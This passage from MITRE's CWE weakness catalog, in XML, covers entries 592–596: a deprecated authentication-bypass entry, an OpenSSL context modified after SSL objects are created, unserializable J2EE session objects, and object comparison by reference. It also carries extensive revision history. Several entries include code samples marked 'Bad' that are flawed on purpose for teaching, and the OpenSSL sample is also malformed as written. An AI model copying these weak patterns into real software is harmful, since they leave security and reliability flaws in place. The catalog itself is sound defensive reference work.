               <Entry_ID>MEM06-C</Entry_ID>
               <Entry_Name>Ensure that sensitive data is not written out to disk</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Memory Locking</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="592" Name="DEPRECATED: Authentication Bypass Issues" Abstraction="Class" Structure="Simple" Status="Deprecated">
         <Description>This weakness has been deprecated because it covered redundant concepts already described in CWE-287.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2006-12-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Name, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-05-03">Authentication Bypass Issues</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="593" Name="Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product modifies the SSL context after connection creation has begun.</Description>
         <Extended_Description>If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="666" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>No authentication takes place in this process, bypassing an assumed protection of encryption.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The encrypted communication between a user and a trusted host may be subject to a sniffing attack.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a language or a library that provides a cryptography framework at a higher level of abstraction.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Applications should set up an SSL_CTX completely, before creating SSL objects from it.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define CERT "secret.pem"<xhtml:br/>#define CERT2 "secret2.pem"<xhtml:br/>
                     <xhtml:br/>int main(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>SSL_CTX *ctx;<xhtml:br/>SSL *ssl;<xhtml:br/>init_OpenSSL();<xhtml:br/>seed_prng();<xhtml:br/>
                           <xhtml:br/>ctx = SSL_CTX_new(SSLv23_method());<xhtml:br/>
                           <xhtml:br/>if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)<xhtml:div style="margin-left:1em;">int_error("Error loading certificate from file");</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)<xhtml:div style="margin-left:1em;">int_error("Error loading private key from file");</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>if (!(ssl = SSL_new(ctx)))<xhtml:div style="margin-left:1em;">int_error("Error creating an SSL context");</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))<xhtml:div style="margin-left:1em;">int_error("Doing something which is dangerous to do anyways");</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>if (!(ssl2 = SSL_new(ctx)))<xhtml:div style="margin-left:1em;">int_error("Error creating an SSL context");</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="94"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="594" Name="J2EE Framework: Saving Unserializable Objects to Disk" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.</Description>
         <Extended_Description>In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>Data represented by unserializable objects can be corrupted.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Non-serializability of objects can lead to system crash.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>@Entity<xhtml:br/>public class Customer {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>private String id;<xhtml:br/>private String firstName;<xhtml:br/>private String lastName;<xhtml:br/>private Address address;<xhtml:br/>
                           <xhtml:br/>public Customer() {<xhtml:br/>}<xhtml:br/>
                           <xhtml:br/>public Customer(String id, String firstName, String lastName) {...}<xhtml:br/>
                           <xhtml:br/>@Id<xhtml:br/>public String getCustomerId() {...}<xhtml:br/>
                           <xhtml:br/>public void setCustomerId(String id) {...}<xhtml:br/>
                           <xhtml:br/>public String getFirstName() {...}<xhtml:br/>
                           <xhtml:br/>public void setFirstName(String firstName) {...}<xhtml:br/>
                           <xhtml:br/>public String getLastName() {...}<xhtml:br/>
                           <xhtml:br/>public void setLastName(String lastName) {...}<xhtml:br/>
                           <xhtml:br/>@OneToOne()<xhtml:br/>public Address getAddress() {...}<xhtml:br/>
                           <xhtml:br/>public void setAddress(Address address) {...}</xhtml:div>
                     </xhtml:div>
                     <xhtml:br/>
                     <xhtml:br/>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class Customer implements Serializable {...}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Persistence in J2EE Frameworks</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="595" Name="Comparison of Object References Instead of Object Contents" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.</Description>
         <Extended_Description>For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1025" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="JavaScript" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Note>This weakness can lead to erroneous results that can cause unexpected application behaviors.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-60">
               <Intro_Text>In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String str1 = new String("Hello");<xhtml:br/>String str2 = new String("Hello");<xhtml:br/>if (str1 == str2) {<xhtml:div style="margin-left:1em;">System.out.println("str1 == str2");</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>if (str1.equals(str2)) {<xhtml:div style="margin-left:1em;">System.out.println("str1 equals str2");</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {<xhtml:div style="margin-left:1em;">return accountA == accountB;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.</Body_Text>
               <Body_Text>The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {<xhtml:div style="margin-left:1em;">return accountA.equals(accountB);</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>EXP02-J</Entry_ID>
               <Entry_Name>Use the two-argument Arrays.equals() method to compare the contents of arrays</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>EXP02-J</Entry_ID>
               <Entry_Name>Use the two-argument Arrays.equals() method to compare the contents of arrays</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>EXP03-J</Entry_ID>
               <Entry_Name>Do not use the equality operators when comparing values of boxed primitives</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-954"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2006-12-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Other_Notes, Potential_Mitigations, References, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Incorrect Object Comparison: Syntactic</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Incorrect Syntactic Object Comparison</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="596" Name="DEPRECATED: Incorrect Semantic Object Comparison" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This weakness has been deprecated.  It was poorly described and difficult to distinguish from other entries.  It was also inappropriate to assign a separate ID solely because of domain-specific considerations.  Its closest equivalent is CWE-1023.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
